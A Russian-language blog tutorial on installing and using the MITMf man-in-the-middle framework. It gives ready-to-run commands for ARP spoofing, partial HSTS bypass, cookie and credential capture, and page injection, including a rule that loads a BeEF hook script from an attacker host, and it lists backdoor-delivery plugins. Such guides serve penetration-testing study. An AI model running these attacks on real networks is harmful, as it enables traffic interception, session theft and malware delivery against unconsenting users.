Инструкция по использованию MITMf

Инструкция по использованию MITMf

MITMf — это фреймворк для атак человек-посередине (Man-In-The-Middle). MITMf предназначен для тех же задач, что и Ettercap. Только работа в MITMf, по сравнению с Ettercap, проще.

В инструкции по Ettercap я уже упоминал MITMf. Также при использовании Ettercap для атаки человек-посередине мы практически каждый раз запускали ещё одну или несколько программ, поскольку базовой функциональности Ettercap нам не хватало. С MITMf такого не будет – теперь только одна консоль, в которой только один фреймворк.

На самом деле, мы встретим практически всех наших знакомых из инструкции по Ettercap:

Но здесь все они являются модулями, которые запускаются опциями командной строки или через API.

Кстати, здесь вы найдёте не только обзор плагинов, сюда добавлен материал, который отсутствует даже в официальной документации.

Установка MITMf

Ранее программа работала только при установке из исходников. Судя по всему, в последнее время ситуация изменилась, и установленная из репозиториев программа успешно запускается. В Kali Linux сначала попробуйте так:

sudo apt-get install mitmf mitmflib
sudo mitmf --help

Если ошибок нет и показана справка, значит не нужно устанавливать из исходников, как это показано чуть ниже. В этом случае sudo python mitmf.py из моих примеров нужно заменять на mitmf. Сразу переходите к разделу "Начало работы с MITMf".

Далее показан процесс установки из исходный кодов - теперь это только для тех, у кого не работает версия из стандартных репозиториев.

Следующие инструкции являются результатом чтения официальной документации, а также метода проб и ошибок. Нужно делать именно так, как в них написано – тогда точно заработает.

В Kali Linux если вы работаете из-под рута, то устанавливать и запускать программу нужно так:

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents 
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

- переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

- далее:

source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Если вы работаете под обычным пользователем, то нужно делать так:

sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

- переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

- далее:

sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Начало работы с MITMf

Давайте начнём с чего-нибудь совсем простого и весёлого.

Практически с каждой командой мы будем использовать одни и те же четыре опции. Первой из них является -i, после которой нужно указать свой сетевой интерфейс (например, eth0). Если вы не знаете имя сетевого интерфейса на вашем компьютере, то посмотрите его командой:

ip a

Также мы будем использовать два ключа --spoof --arp. Первый означает загрузить плагин 'Spoof'. А второй – перенаправить трафик используя ARP спуфинг. Это аналогично тому, как мы начинали атаку с Ettercap. Ещё мы будем использовать опцию --gateway, после которой нужно указать адрес шлюза. Обычно это IP адрес роутера. Чаще всего это адрес 192.168.1.1 или 192.168.0.1. Если вы не уверены, то посмотрите его командой

ip r

Итак, в своём базовом варианте команда в моём случае выглядит так:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1

В дальнейшем к ней я буду только добавлять разные опции для включения разнообразных плагинов.

В принципе, можно уже и запустить:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1

Как видим, программа работает и мы перехватили базовую аутентификацию:

01

Кстати, не нужно запускать отдельно Net-Creds – он уже встроен в MITMf.

Давайте остановим программу и сделаем что-нибудь наглядное. Например, перевернём изображения на всех сайтах (кроме тех, кто использует HTTPS). Для этого к нашей команде добавим ключ --upsidedownternet.

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --upsidedownternet

Теперь в логах появляются записи вроде такой:

2016-06-19 09:17:29 192.168.1.33 [type:Chrome-51 os:Windows] [Upsidedownternet] Flipped image

А веб-сайты выглядят так:

02

03

Частичный обход HSTS

Для этого достаточно добавить два ключа --dns --hsts. Команда приобретает вид:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts

Чтобы получить перевёрнутые изображения даже на сайтах с HTTPS:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --upsidedownternet

Как и другие, опции --dns --hsts можно комбинировать с другими плагинами.

Вставка произвольного содержимого в веб-страницы

Для этого имеется плагин Inject с разнообразными опциями. Для загрузки плагина нам нужно указать --inject, а также дополнительно следующие ключи:

  --js-url JS_URL       URL JS для инжекта
  --js-payload JS_PAYLOAD
                        JS строка для инжекта
  --js-file JS_FILE     Файл, содержащий JS для инжекта
  --html-url HTML_URL   URL HTML для инжекта
  --html-payload HTML_PAYLOAD
                        HTML строка для инжекта
  --html-file HTML_FILE
                        Файл, содержащий HTML для инжекта
  --per-domain          Вставить один раз на домен для одного клиента.
  --rate-limit RATE_LIMIT
                        Вставить один раз каждые RATE_LIMIT секунд на одного клиента.
  --count-limit COUNT_LIMIT
                        Вставить только COUNT_LIMIT раз на одного клиента.
  --white-ips IP        Вставить контент ТОЛЬКО для этих IP (разделять запятыми)
  --black-ips IP        НЕ вставлять содержимое для этих IP (разделять запятыми)
  --white-domains ДОМЕНЫ
                        Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)
  --black-domains ДОМЕНЫ
                        НЕ вставлять контент для этих доменов (разделять запятыми)

Например, я хочу вставить во все сайты строку <p>I am cool!</p>. Тогда моя комоанда имеет вид:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --inject --html-payload '<p>I am cool!</p>'

Подцепление программой BeEF делается следующим образом (не забудьте отредактировать данные под ваши значения):

--js-url http://beef:3000/hook.js

Захват кукиз

Для этого имеется плагин Ferret-NG, который запускается опцией --ferretng. Например:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --ferretng

Создание скриншотов сайтов

Плагин ScreenShotter использует HTML5 Canvas для отображения точного скриншота клиентских браузеров. Плагин загружается опцией --screen:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --screen

С помощью дополнительной опции --interval можно указать интервал в секундах для создания скриншотов (по умолчанию 10).

Заражение бэкдорами

Для этого есть целых три плагина (плюс можно придумать собственные атаки через инжект в HTML код различного содержимого). Это плагины:

  • FilePwn (Будет отправлен исполнимый бэкдор через http используя bdfactory)
  • BrowserSniper (Выполняет атаки на клиенты легендой об устаревшем плагине браузера)
  • HTA Drive-By (Выполнить атаку с HTA на клиентах)

На мой взгляд, автор MITMf уже сделал всё возможное для того, чтобы использование плагинов в фреймворке было весьма простым. Думаю, на этом можно остановиться в характеристике плагинов. Полный их список, а также список доступных опций и дополнительные примеры вы найдёте в карточке программы MITMf в Энциклопедии инструментов для тестирования на проникновение (Kali.Tools).

Куда MITMf сохраняет захваченные данные и изображения

Абсолютно всё полезное (даже то, чего вы не ждали, например, DNS запросы) MITMf сохраняет в поддиректорию logs в своей директории (например, у меня это /home/mial/bin/MITMf/logs/).

Настройка MITMf

В поддиректории config вы найдёте несколько файлов с настройками. Большинство опций можно поменять в командной строке, но некоторые удобнее отредактировать там. Кроме основного конфигурационного файла MITMf, там вы найдёте файлы для Responder и пример файла для HTA Drive-By.

В основном файле настроек MITMf (mitmf.conf) вы можете поменять значения для BeEF (хост, порт, имя и пароль), Metasploit (хост, порт, пароль), MITMf-API (хост, порт), DNS (добавить разнообразные записи для спуфинга DNS ответов) и другие настройки для разнообразных плагинов, входящих в фреймворк MITMf.

04

Замена HTML при атаке человек-посередине

Для замены содержимого веб-страниц имеется плагин Replace. Он активируется опцией --replace, а настраивается в файле mitmf.conf. В этом файле уже есть два правила:

	[Replace]
	
	[[Regex1]]
		'Google Search' = '44CON'

	[[Regex2]]
		"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"

Вот результат их работы:

06

В инструкции по Ettercap я приводил три примера замены: замена заголовка, добавление данных и подцепление BeEF. Все три примера можно реализовать следующими строками:

	[[Regex3]]
		"<title>.*</title>" = "<title>No Title</title>"

	[[Regex4]]
		"<body.*?>" = "<body><p>I am cool!</p>"

	[[Regex5]]
		"</head>" = "<script src="http://192.168.1.36:3000/hook.js"></head>"

Здесь можно использовать регулярные выражения для поиска.

API MITMf

Чтобы включить или отключить какой-либо плагин, вам не нужно перезапускать MITMf, это можно сделать с использованием API. Для получения списка активных и неактивных плагинов запросите страницу http://127.0.0.1:9999/ Это можно сделать открыв её в браузере или в командной строке:

curl http://127.0.0.1:9999/

Чтобы получить статус какого-то конкретного плагина, то можно сделать так, открыть в браузере страницу

http://127.0.0.1:9999/имя_плагина

Например, http://127.0.0.1:9999/Spoof

А также так:

curl http://127.0.0.1:9999/Spoof

Добавляя через слеш нолики и единички можно, соответственно, отключать и включать любые плагины:

curl http://127.0.0.1:9999/Spoof/0
curl http://127.0.0.1:9999/Spoof/1

05

Фильтры MITMf

В MITMf с помощью плагинов Inject и Replace можно реализовать практически всё, что обычно требуется при вставке/замене HTML. Тем не менее, это не всё! Теперь с помощью Scapy вы можете модифицировать любой пакет/протокол, которые перехватывает MITMf! Более того, вы можете изменять фильтры на лету – без перезапуска MITMf.

Scapy даёт потрясающую гибкость и, пожалуй, безграничные возможности (конечно, если вы умеете пользоваться Scapy).

В качестве примере возьмём крошечный глупый фильтр, который изменяет IP назначения ICMP пакетов:

if packet.haslayer(ICMP):
    log.info('Got an ICMP packet!')
    packet.dst = '192.168.1.0'
  • Используйте переменную packet для доступа к пакетам в формате совместимым с Scapy
  • Используйте переменную data для доступа к сырым данным пакета

Для использования фильтра нужно сделать так:

python mitmf.py -F ~/filter.py

Скорее всего вы захотите комбинировать это с плагином Spoof для действительного перехвата пакетов от кого-то ещё 😉

Заключение

Инструкция получилась не слишком большой (я рад!), но это не означает, что у MITMf маленькая функциональность. Напротив, с MITMf мы может сделать абсолютно всё, для чего в Ettercap нам нужны были разнообразные программы. И даже больше! После понимания принципов работы MITMf, работа с ним становиться интуитивно понятной и достаточно обычной справки, чтобы освоить новый плагин.

3 комментария to Инструкция по использованию MITMf

  1. pocoz:

    Спасибо большое! Человечище!

  2. SQuad:

    А чтобы немного упростить себе жизнь и не писать такую штуку

    source /usr/local/bin/virtualenvwrapper.sh

    mkvirtualenv MITMf -p /usr/bin/python2.7

    python mitmf.py "$@"

    можно переписать /usr/bin/mitmf этими же строчками.

    Тогда запуск снова будет происходить одной командой

    • Alexey Alexey:

      И даже этого уже не нужно - у меня теперь в и в Kali Linux, и в BlackArch запускается по

      sudo mitmf --help

      Судя по всему - доработали. Опять нужно переписывать справку и инструкцию frown

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *